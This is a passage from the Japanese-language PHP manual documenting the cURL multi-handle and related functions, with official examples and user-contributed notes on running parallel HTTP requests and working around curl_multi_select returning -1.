curl_init() が返す cURL ハンドル。

返り値

CURLOPT_RETURNTRANSFER が設定されている場合に、 cURL ハンドルの内容を返します。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • curl_multi_init() - 新規 cURL マルチハンドルを返す

User Contributed Notes

nolife 28-Nov-2017 05:45
It's probably a bug in the curl multi implementation:

In many many cases you keep the curl connection alive after a curl_exec().
With curl_multi that's not possible if you don't do this after every get_content() :
 curl_multi_remove_handle($ch);
 curl_multi_add_handle($ch);

I've not yet tested if this also breaks the keepalive connection but if you don't do this you'll just get the old previous response after each curl_multi_exec()
michael at xendica dot com 19-Apr-2014 06:28
This seems to work as expected for me - allowing me to get the content from a curl_multi operation into variables :

(Thanks go to many other notes in related documentation (there is much copy/pasting) all I did was add the relevant line(s))

<?
    $aURLs = array("http://www.php.net","http://www.w3cschools.com"); // array of URLs
    $mh = curl_multi_init(); // init the curl Multi

    $aCurlHandles = array(); // create an array for the individual curl handles

    foreach ($aURLs as $id=>$url) { //add the handles for each url
        $ch = curl_setup($url,$socks5_proxy,$usernamepass);
        $ch = curl_init(); // init curl, and then setup your options
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important
        curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output

        $aCurlHandles[$url] = $ch;
        curl_multi_add_handle($mh,$ch);
    }

    $active = null;
    //execute the handles
    do {
        $mrc = curl_multi_exec($mh, $active);
    }
    while ($mrc == CURLM_CALL_MULTI_PERFORM);

    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) != -1) {
            do {
                $mrc = curl_multi_exec($mh, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
    }

/* This is the relevant bit */
        // iterate through the handles and get your content
    foreach ($aCurlHandles as $url=>$ch) {
        $html = curl_multi_getcontent($ch); // get the content
                // do what you want with the HTML
        curl_multi_remove_handle($mh, $ch); // remove the handle (assuming  you are done with it);
    }
/* End of the relevant bit */

    curl_multi_close($mh); // close the curl multi handler

?>
butesa at freenet dot de 10-Sep-2013 08:51
You can use curl_multi_getcontent() on a curl handle that was executed with curl_exec() (and not added to a multi handle).
However, this is not very useful because curl_multi_getcontent() will return the same as curl_exec() then.

<?php
 $ch = curl_init('http://www.example.com/');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $a = curl_exec($ch);
 $b = curl_multi_getcontent($ch);
 var_dump($a === $b);
 curl_close($ch);
?>
will return:

bool(true)


現在の転送についての情報を表示する

  • ≪ curl_multi_getcontent
  • curl_multi_init ≫
  • PHP Manual
  • cURL 関数
  • 現在の転送についての情報を表示する

curl_multi_info_read

(PHP 5, PHP 7, PHP 8)

curl_multi_info_read — 現在の転送についての情報を表示する

説明

curl_multi_info_read ( CurlMultiHandle $multi_handle , int &$queued_messages = null ) : array|false

マルチハンドルに対して、個別の転送にメッセージ/情報が残っているかどうかを問い合わせます。 メッセージには、転送時のエラーコードや転送が完了したという情報が残っている可能性があります。

この関数を繰り返しコールすると、毎回新しい結果を返します。false が返されると、その時点でもう取得する結果がないことを意味します。 queued_messages がさす値は、 この関数をコールした後に残っているメッセージの数となります。

警告

返されたリソースがさすデータは、 curl_multi_remove_handle() をコールした後には残りません。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

queued_messages

まだキューの中に残っているメッセージの数。

返り値

成功した場合にメッセージの連想配列、失敗した場合に false を返します。

配列の内容
キー | 値
msg | 定数 CURLMSG_DONE。その他の返り値は現在は存在しません。
result | 定数 CURLE_* のいずれか。すべて OK なら CURLE_OK が返ります。
handle | curl が扱うハンドルの型を表すリソース。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_multi_info_read() の例

<?php

$urls = array(
   "http://www.cnn.com/",
   "http://www.bbc.co.uk/",
   "http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($urls as $i => $url) {
    $conn[$i] = curl_init($url);
    curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
    curl_multi_add_handle($mh, $conn[$i]);
}

do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        curl_multi_select($mh);
    }
    while (false !== ($info = curl_multi_info_read($mh))) {
        var_dump($info);
    }
} while ($active && $status == CURLM_OK);

foreach ($urls as $i => $url) {
    $res[$i] = curl_multi_getcontent($conn[$i]);
    curl_close($conn[$i]);
}

var_dump(curl_multi_info_read($mh));

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(5) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(7) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(6) of type (curl)
}
bool(false)

参考

  • curl_multi_init() - 新規 cURL マルチハンドルを返す

User Contributed Notes

Nick Smith 28-May-2010 01:41
Just to let others who might be struggling to get it to work, curl_multi_info_read() doesn't work in PHP versions before 5.2.0, and instead returns NULL immediately.


新規 cURL マルチハンドルを返す

  • ≪ curl_multi_info_read
  • curl_multi_remove_handle ≫
  • PHP Manual
  • cURL 関数
  • 新規 cURL マルチハンドルを返す

curl_multi_init

(PHP 5, PHP 7, PHP 8)

curl_multi_init — 新規 cURL マルチハンドルを返す

説明

curl_multi_init ( ) : CurlMultiHandle

複数の cURL ハンドルを非同期で実行できるようにします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に cURL マルチハンドル、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は CurlMultiHandle クラスのインスタンスを返すようになりました。 これより前のバージョンでは、resource を返していました。

例

例1 curl_multi_init() の例

この例は、ふたつの cURL ハンドルを作成し、それをマルチハンドルに追加して非同期で実行します。

<?php
// cURL リソースを作成します
$ch1 = curl_init();
$ch2 = curl_init();

// URL およびその他適切なオプションを設定します。
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// マルチ cURL ハンドルを作成します
$mh = curl_multi_init();

// ふたつのハンドルを追加します
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// ハンドルを実行します
do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        curl_multi_select($mh);
    }
} while ($active && $status == CURLM_OK);

// ハンドルを閉じます
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

参考

  • curl_init() - cURL セッションを初期化する
  • curl_multi_close() - cURL ハンドルのセットを閉じる

User Contributed Notes

Adam Richardson 20-Dec-2017 05:41
One of the URLs used in the first example on this page (lxr.php.net) now gives a proxy error.

If you're using this first script example, replace with a different URL.
w_haigh at yahoo dot com 13-Oct-2015 03:46
Here's an easier to follow example, From : http://arguments.callee.info/2010/02/21/multiple-curl-requests-with-php/

// build the individual requests, but do not execute them
$ch_1 = curl_init('http://webservice.one.com/');
$ch_2 = curl_init('http://webservice.two.com/');
curl_setopt($ch_1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_2, CURLOPT_RETURNTRANSFER, true);

// build the multi-curl handle, adding both $ch
$mh = curl_multi_init();
curl_multi_add_handle($mh, $ch_1);
curl_multi_add_handle($mh, $ch_2);

// execute all queries simultaneously, and continue when all are complete
  $running = null;
  do {
    curl_multi_exec($mh, $running);
  } while ($running);

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

// all of our requests are done, we can now access the results
$response_1 = curl_multi_getcontent($ch_1);
$response_2 = curl_multi_getcontent($ch_2);
echo "$response_1 $response_2"; // output results
xxavalanchexx at gmail dot com 20-May-2014 12:17
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that curl_multi_select() always returns -1, causing the example code in the documentation to timeout. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

Therefore, in order to work correctly on Windows for PHP 5.3.10+, the second loop in the example code should look something like the following:

<?php
while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
hushuilong at gmail dot com 05-Aug-2011 12:21
Simulate multiple threads request:
<?php
function multiple_threads_request($nodes){
        $mh = curl_multi_init();
        $curl_array = array();
        foreach($nodes as $i => $url)
        {
            $curl_array[$i] = curl_init($url);
            curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $curl_array[$i]);
        }
        $running = NULL;
        do {
            usleep(10000);
            curl_multi_exec($mh,$running);
        } while($running > 0);

        $res = array();
        foreach($nodes as $i => $url)
        {
            $res[$url] = curl_multi_getcontent($curl_array[$i]);
        }

        foreach($nodes as $i => $url){
            curl_multi_remove_handle($mh, $curl_array[$i]);
        }
        curl_multi_close($mh);
        return $res;
}
print_r(muti_thread_request(array(
    'http://www.example.com',
    'http://www.example.net',
)));
?>
jaisen at jmathai dot com 30-May-2008 12:09
http://github.com/jmathai/epicode/tree/master/php/EpiCurl.php

If you fire off 10 curl requests in parallel you don't have to wait for all of them to be finished before accessing one which is already finished.


cURL ハンドルのセットからマルチハンドルを削除する

  • ≪ curl_multi_init
  • curl_multi_select ≫
  • PHP Manual
  • cURL 関数
  • cURL ハンドルのセットからマルチハンドルを削除する

curl_multi_remove_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_remove_handle — cURL ハンドルのセットからマルチハンドルを削除する

説明

curl_multi_remove_handle ( CurlMultiHandle $multi_handle , CurlHandle $handle ) : int

指定した handle を、multi_handle から削除します。 handle が削除されてからも、このハンドルで curl_exec() を実行できます。 使用中の handle を削除する際には、 そのハンドルにかかわる進行中の転送をきちんと停止します。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

handle

curl_init() が返す cURL ハンドル。

返り値

成功した場合に 0、失敗した場合にエラーコード CURLM_XXX のいずれかを返します。 codes.

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • curl_init() - cURL セッションを初期化する
  • curl_multi_init() - 新規 cURL マルチハンドルを返す
  • curl_multi_add_handle() - cURL マルチハンドルに、通常の cURL ハンドルを追加する

User Contributed Notes

mercury at caucasus dot net 23-Jun-2010 02:00
It is always a good idea to use curl_close() on all individual curl handles after executing curl_multi_remove_handle(). This will free up additional memory resources. So, a typical code would look like:

<?php
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://www.example.net/');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);

$mh = curl_multi_init();

curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

$active = null;

do {
curl_multi_exec($mh, $active);
}
while($active);

$res1 = curl_multi_getcontent($ch1);
$res2 = curl_multi_getcontent($ch2);

curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);

curl_multi_close($mh);

curl_close($ch1);
curl_close($ch2);
?>


curl_multi 接続のアクティビティを待つ

  • ≪ curl_multi_remove_handle
  • curl_multi_setopt ≫
  • PHP Manual
  • cURL 関数
  • curl_multi 接続のアクティビティを待つ

curl_multi_select

(PHP 5, PHP 7, PHP 8)

curl_multi_select — curl_multi 接続のアクティビティを待つ

説明

curl_multi_select ( CurlMultiHandle $multi_handle , float $timeout = 1.0 ) : int

curl_multi 接続に関するアクティビティがあるまでブロックします。

パラメータ

multi_handle

curl_multi_init() が返す cURL マルチハンドル。

timeout

レスポンスを待つ秒数。

返り値

成功した場合は、記述子セットに含まれる記述子の数を返します。 どの記述子上にもアクティビティがなかった場合は、結果が 0 になることもあります。 select に失敗した場合は -1 を返し、それ以外の失敗時は (select システムコールから) タイムアウトします。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

参考

  • curl_multi_init() - 新規 cURL マルチハンドルを返す

User Contributed Notes

bishop at php dot net 22-May-2019 01:50
Before PHP 7.1.23 and 7.2.11, curl_multi_select() would return -1 if cURL had no open file descriptors. Since then, assuming libcurl 7.28 or higher, curl_multi_select() will return 0 if cURL has no open file descriptors and -1 on error.

See https://bugs.php.net/bug.php?id=76480

This is a BC break. See https://bugs.php.net/bug.php?id=77030
nevil85 at gmail dot com 15-Jul-2014 04:06
Even after so many distro releases, in PHP v5.5.9 and libcurl v7.35.0, curl_multi_select still returns -1. The only work around here is to wait and proceed like nothing ever happened. You have to determine the "wait" required here.

In my application a very small interval like usleep(1) worked. For example:

<?php
        // While we're still active, execute curl
        $active = null;
        do {
            $mrc = curl_multi_exec($multi, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);

        while ($active && $mrc == CURLM_OK) {
            // Wait for activity on any curl-connection
            if (curl_multi_select($multi) == -1) {
                usleep(1);
            }

            // Continue to exec until curl is ready to
            // give us more data
            do {
                $mrc = curl_multi_exec($multi, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
?>

Internally php curl_multi_select uses libcurl curl_multi_fdset function and its libcurl documentation says :
http://curl.haxx.se/libcurl/c/curl_multi_fdset.html

"When libcurl returns -1 in max_fd, it is because libcurl currently does something that isn't possible for your application to monitor with a socket and unfortunately you can then not know exactly when the current action is completed using select(). When max_fd returns with -1, you need to wait a while and then proceed and call curl_multi_perform anyway. How long to wait? I would suggest 100 milliseconds at least, but you may want to test it out in your own particular conditions to find a suitable value.

When doing select(), you should use curl_multi_timeout to figure out how long to wait for action."

Untill PHP implements curl_multi_timeout() we have to play with our application and determine the "wait".
xxavalanchexx at gmail dot com 20-May-2014 12:13
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that this always returns -1. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

For example:
<?php
/* setup $mh */

$active = null;
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

/* close $mh */
?>
Anonymous 30-Sep-2013 08:55
In 5.3.9+, curl_multi_select always returns -1. If this is your case, just wait a bit and then proceed like nothing ever happened:
<?php
do {
    $mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    //check for results and execute until everything is done

    if (curl_multi_select($multi) == -1) {
        //if it returns -1, wait a bit, but go forward anyways!
        usleep(100);
    }

    //do something with the return values
    while(($info = curl_multi_info_read($multi)) !== false){
        if ($info["result"] == CURLE_OK){
            $content = curl_multi_getcontent($info["handle"]);
            do_something($content);
        }
    }
    do {
        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
Alex Palmer 17-Dec-2012 04:08
On php 5.3.18+ be aware that curl_multi_select() may return -1 forever until you call curl_multi_exec().
See https://bugs.php.net/bug.php?id=63411 for more information.
vigo dot von dot harrach at gmx dot de 06-Jun-2012 10:53
curl_multi_select($mh, $timeout) simply blocks for $timeout seconds while curl_multi_exec() returns CURLM_CALL_MULTI_PERFORM. Otherwise, it works as intended, and blocks until at least one connection has completed or $timeout seconds, whatever happens first.

For that reason, curl_multi_exec() should always be wrapped:

<?php
  function full_curl_multi_exec($mh, &$still_running) {
    do {
      $rv = curl_multi_exec($mh, $still_running);
    } while ($rv == CURLM_CALL_MULTI_PERFORM);
    return $rv;
  }
?>

With that, the core of "multi" processing becomes (ignoring error handling for brevity):

<?php
  full_curl_multi_exec($mh, $still_running); // start requests
  do { // "wait for completion"-loop
    curl_multi_select($mh); // non-busy (!) wait for state change
    full_curl_multi_exec($mh, $still_running); // get new state
    while ($info = curl_multi_info_read($mh)) {
      // process completed request (e.g. curl_multi_getcontent($info['handle']))
    }
  } while ($still_running);
?>

Note that after starting requests, retrieval is done in the background - one of the better shots at parallel processing in PHP.
Anonymous 24-Jul-2010 08:33
Since the docs are still lacking, here's an example of how to use the function. The following code will keep checking all active threads until one of them returns the HTTP 200 Ok status code, or simply end. On success, it will return the URL that worked.

<?php
$running=null;
do {
    curl_multi_exec($mh,$running);
    $ready=curl_multi_select($mh); // this will pause the loop
    if($ready>0){
        while($info=curl_multi_info_read($mh)){
            $status=curl_getinfo($info['handle'],CURLINFO_HTTP_CODE);
            if($status==200){
                $successUrl=curl_getinfo($info['handle'],CURLINFO_EFFECTIVE_URL);
                break 2;
            }
        }
    }
} while ($running>0 && $ready!=-1);
?>

The question for the $ready variable is, if it will return the value before or after the timeout has occurred. From my tests it appears that it will return the value immediately, and only then pause the execution. That's because it's always zero the first time through the loop, even if the time limit is as high as 10sec. I've expected it to wait and only then return the value so that came unexpected to me.

As stated by someone else, it also doesn't seem to return the overall count of threads in the handle, but only that of the currently active ones.
public at grik dot net 10-Aug-2008 06:38
This function blocks the calling process until there is activity on any of the connections opened by the curl_multi interface, or until the timeout period has expired.
In other words, it waits for data to be received in the opened connections.

Internally it fetches socket pointers with "curl_multi_fdset()" and runs the "select()" C function.
It returns in 3 cases:
1. Activity is detected on any socket;
2. Timeout has ended (second parameter);
3. Process received any signal (#man kill).

The function returns an integer:
* In case of activity it returns a number, usually 1.
I suppose, it returns the number of connections with activity detected.
* If timeout expires it returns 0
* In case of error it returns -1

Thanks for attention, hope this helps.


cURL マルチハンドル用のオプションを設定する

  • ≪ curl_multi_select
  • curl_multi_strerror ≫
  • PHP Manual
  • cURL 関数
  • cURL マルチハンドル用のオプションを設定する

curl_multi_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_setopt — cURL マルチハンドル用のオプションを設定する

説明

curl_multi_setopt ( CurlMultiHandle $multi_handle , int $option , mixed $value ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

multi_handle

option

CURLMOPT_* 定数のいずれか。

value

option に設定する値。

value には int 型の値を指定しなければいけません。 option パラメータの値によって、それぞれ次のようになります。

オプション | value の設定値
CURLMOPT_PIPELINING | 1 を渡せば有効に、そして 0 を渡せば無効になります。 マルチハンドルでのパイプライン化を有効にすると、このハンドルによる転送で、 可能な限り HTTP パイプライン化を試みます。 つまり、二番目のリクエストを追加したときに既存の接続が使える場合は、 既存の接続に「パイプ」でつなぎます。 cURL 7.43.0 以降では、この値はビットマスクですが、 2 を渡すと、既存の HTTP/2 接続上での新しい転送で、 可能な限り多重化を試みます。 3 を渡すと、パイプライン化と多重化を互いに独立して行うよう cURL に指示します。 cURL 7.62.0 以降は、パイプライン化のbitを設定しても効果はありません。
CURLMOPT_MAXCONNECTS | 同時に開く接続の最大数を指定します。これを libcurl がキャッシュします。 デフォルトのサイズは、 curl_multi_add_handle() で追加したハンドル数の四倍に収まるように拡大されます。 キャッシュがいっぱいになると、キャッシュ内で一番古い接続を閉じ、 開いている接続の数が増えないようにします。
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE | パイプライン化のチャンク長の閾値をバイト単位で指定します。
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE | パイプライン化のペナルティの閾値をバイト単位で指定します。
CURLMOPT_MAX_HOST_CONNECTIONS | 単一のホストへの最大接続数を指定します。
CURLMOPT_MAX_PIPELINE_LENGTH | 単一のパイプライン内での最大リクエスト数を指定します。
CURLMOPT_MAX_TOTAL_CONNECTIONS | 同時にオープンする接続の最大数を指定します。
CURLMOPT_PUSHFUNCTION サーバープッシュを扱うために登録される callable を渡し、以下のようなシグネチャをとります:
pushfunction ( resource $parent_ch , resource $pushed_ch , array $headers ) : int
parent_ch

親となる cURL ハンドル(クライアントが作成したリクエストの)

pushed_ch

プッシュされたリクエストのための、新しい cURL ハンドル

headers

プッシュのためのプロミスヘッダ

プッシュ関数自体は、プッシュをハンドルできる場合は CURL_PUSH_OK を返し、 拒否する場合は、CURL_PUSH_DENY を返すことが想定されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | multi_handle は CurlMultiHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
7.1.0 | CURLMOPT_PUSHFUNCTION が追加されました。
7.0.7 | CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE、 CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE、 CURLMOPT_MAX_HOST_CONNECTIONS、 CURLMOPT_MAX_PIPELINE_LENGTH、 CURLMOPT_MAX_TOTAL_CONNECTIONS が追加されました。

User Contributed Notes

ryosuke_i_628 at yahoo dot co dot jp 01-Mar-2016 10:30
If you want to enable both HTTP/1.1 pipelining and HTTP/2 multiplexing...

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, 3);
?>

or

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, CURLPIPE_HTTP1 | CURLPIPE_MULTIPLEX);
?>


エラーの内容を表す文字列を返す

  • ≪ curl_multi_setopt
  • curl_pause ≫
  • PHP Manual
  • cURL 関数
  • エラーの内容を表す文字列を返す

curl_multi_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_strerror — エラーの内容を表す文字列を返す

説明

curl_multi_strerror ( int $error_code ) : string|null

指定した CURLM エラーコードに対応するエラーメッセージの文字列を返します。

パラメータ

error_code

» CURLM エラーコード 定数のいずれか。

返り値

有効なエラーコードを指定した場合は、それに対応する文字列を返します。それ以外の場合は null を返します。

例

例1 curl_multi_strerror() の例

<?php
// cURL ハンドルを作ります
$ch1 = curl_init("http://example.com"/);
$ch2 = curl_init("http://php.net/");

// cURL マルチハンドルを作ります
$mh = curl_multi_init();

// マルチハンドルにハンドルを追加します
curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

// マルチハンドルを実行します
do {
    $status = curl_multi_exec($mh, $active);
    if ($active) {
        curl_multi_select($mh);
    }
} while ($active && $status === CURLM_OK);

// エラーをチェックします
if ($status != CURLM_OK) {
    // エラーメッセージを表示します
    echo "ERROR!\n " . curl_multi_strerror($status);
}

?>

参考

  • curl_strerror() - エラーコードの説明を返す
  • » cURL エラーコード

User Contributed Notes

There are no user contributed notes for this page.


接続の中断と再開をする

  • ≪ curl_multi_strerror
  • curl_reset ≫
  • PHP Manual
  • cURL 関数
  • 接続の中断と再開をする

curl_pause

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_pause — 接続の中断と再開をする

説明

curl_pause ( CurlHandle $handle , int $flags ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

handle

curl_init() が返す cURL ハンドル。

flags

定数 CURLPAUSE_* のいずれか。

返り値

エラーコードを返します (エラーがない場合は CURLE_OK を返します)。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

User Contributed Notes

Alex Autrey 26-Jul-2013 12:01
http://curl.haxx.se/libcurl/c/curl_easy_pause.html

Using this function, you can explicitly mark a running connection to get paused, and you can unpause a connection that was previously paused.

A connection can be paused by using this function or by letting the read or the write callbacks return the proper magic return code (CURL_READFUNC_PAUSE and CURL_WRITEFUNC_PAUSE). A write callback that returns pause signals to the library that it couldn't take care of any data at all, and that data will then be delivered again to the callback when the writing is later unpaused.

NOTE: while it may feel tempting, take care and notice that you cannot call this function from another thread.

When this function is called to unpause reading, the chance is high that you will get your write callback called before this function returns.

The handle argument is of course identifying the handle that operates on the connection you want to pause or unpause.

The bitmask argument is a set of bits that sets the new state of the connection. The following bits can be used:


libcurl セッションハンドルのすべてのオプションをリセットする

  • ≪ curl_pause
  • curl_setopt_array ≫
  • PHP Manual
  • cURL 関数
  • libcurl セッションハンドルのすべてのオプションをリセットする

curl_reset

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_reset — libcurl セッションハンドルのすべてのオプションをリセットする

説明

curl_reset ( CurlHandle $handle ) : void

指定した cURL ハンドルに設定されているすべてのオプションを初期化してデフォルト値に戻します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 curl_reset() の例

<?php
// curl ハンドルを作ります
$ch = curl_init();

// CURLOPT_USERAGENT オプションを設定します
curl_setopt($ch, CURLOPT_USERAGENT, "My test user-agent");

// これまでに設定されたすべてのオプションを初期化します
curl_reset($ch);

// HTTP リクエストを送信します
curl_setopt($ch, CURLOPT_URL, 'http://example.com/');
curl_exec($ch); // 事前に設定した user-agent は送信されません。curl_reset で初期化されたからです

// ハンドルを閉じます
curl_close($ch);
?>

注意

注意:

curl_reset() は、curl_init() のパラメータで指定した URL も初期化します。

参考

  • curl_setopt() - cURL 転送用オプションを設定する

User Contributed Notes

dev at codesatori dot com 25-Nov-2016 11:44
If you're reusing a cUrl handle and want to ensure there's no residue from previous options -- but are frustrated with resetting the basics (e.g. FTP details) needed for each cURL call -- then here's an easy pattern to fix that:

<?php
class cUrlicue {

    protected $curl;

    /* Create the cURL handle */

    function __construct() {
        $this->curl = curl_init();
        $this->curl_init_opts();
        curl_exec($this->curl);
    }

    /* Reload your base options */

    function curl_init_opts() {
        $opts[CURLOPT_PROTOCOLS]         = CURLPROTO_FTP;
        $opts[CURLOPT_RETURNTRANSFER]     = true;
        $opts[CURLOPT_USERPWD]             = 'user:pass';
        //...
        curl_setopt_array($this->curl, $opts);
    }

    /* Use when making a new cURL call */

    function curl_exec($opts) {
        curl_reset($this->curl); // clears all old options
        $this->curl_init_opts(); // sets base options again
        curl_setopt_array($this->curl, $opts); // sets your new options
        return curl_exec($this->curl);
    }

    /* Your whatever cURL method */

    function curl_get_whatever() {
        $opts[CURLOPT_URL] = 'ftp://.../whatever';
        //...
        $result = $this->curl_exec($opts);
        // ...
    }
}
?>

Then: each call to $this->curl_exec() from your whatever-method resets the previous options, reloads the base options, adds in your new options, and returns the result. Otherwise, can also put your base options into a class property, instead of in-method, if there's nothing dynamic being defined. Enjoy. =^_^=
Waloon 18-Jul-2016 02:52
Hack for php < 5.5 :

function curl_reset(&$ch){
  $ch = curl_init();
}


CURL 転送用の複数のオプションを設定する

  • ≪ curl_reset
  • curl_setopt ≫
  • PHP Manual
  • cURL 関数
  • CURL 転送用の複数のオプションを設定する

curl_setopt_array

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

curl_setopt_array — CURL 転送用の複数のオプションを設定する

説明

curl_setopt_array ( CurlHandle $handle , array $options ) : bool

cURL セッション用の複数のオプションを設定します。 この関数が便利なのは大量の cURL オプションを設定する場合で、 何度も繰り返して curl_setopt() をコールせずにすみます。

パラメータ

handle

curl_init() が返す cURL ハンドル。

options

設定するオプションとその値を指定した配列。キーとして使用できるのは、 有効な curl_setopt() 定数か、 その定数に対応する整数値だけです。

返り値

すべてのオプションがうまく設定できた場合に true を返します。 うまく設定できないオプションがあった時点で即時に false が返され、options 配列に含まれるそれ以降のオプションは無視されます。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。

例

例1 新規に CURL セッションを初期化、ウェブページを取得する

<?php
// 新しい cURL リソースを作成します
$ch = curl_init();

// URL その他のオプションを適切に設定します
$options = array(CURLOPT_URL => 'http://www.example.com/',
                 CURLOPT_HEADER => false
                );

curl_setopt_array($ch, $options);

// URL の内容を取得し、ブラウザに渡します
curl_exec($ch);

// cURL リソースを閉じ、システムリソースを開放します
curl_close($ch);
?>

PHP 5.1.3 より前のバージョンでこの関数と同等の操作をするには、次のようにします。

例2 curl_setopt_array() の独自実装

<?php
if (!function_exists('curl_setopt_array')) {
   function curl_setopt_array(&$ch, $curl_options)
   {
       foreach ($curl_options as $option => $value) {
           if (!curl_setopt($ch, $option, $value)) {
               return false;
           }
       }
       return true;
   }
}
?>

注意

注意:

curl_setopt() と同様、配列を CURLOPT_POST に渡すとデータを multipart/form-data でエンコードします。 一方 URL エンコードされた文字列を渡すと、データを application/x-www-form-urlencoded でエンコードします。

参考

  • curl_setopt() - cURL 転送用オプションを設定する

User Contributed Notes

lawrence at dub3solutions dot com 13-Feb-2019 11:23
This function does not mix with `curl_file_create` (`CURLFile` object) and `CURLOPT_POSTFIELDS`. Took me forever to figure out, but essentially I was getting an "Invalid filename" PHP warning and the files weren't being sent. I was able to correct the issue in a matter like so:

curl_setopt_array($curl, $curlOpts);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postFields);

I removed the `$postFields` value from `$curlOpts` and set it separately using `curl_setopt`.
Al 03-Jul-2017 03:39
You might be tempted to use array_merge with arrays where CURLOPT constants are the keys, but beware.

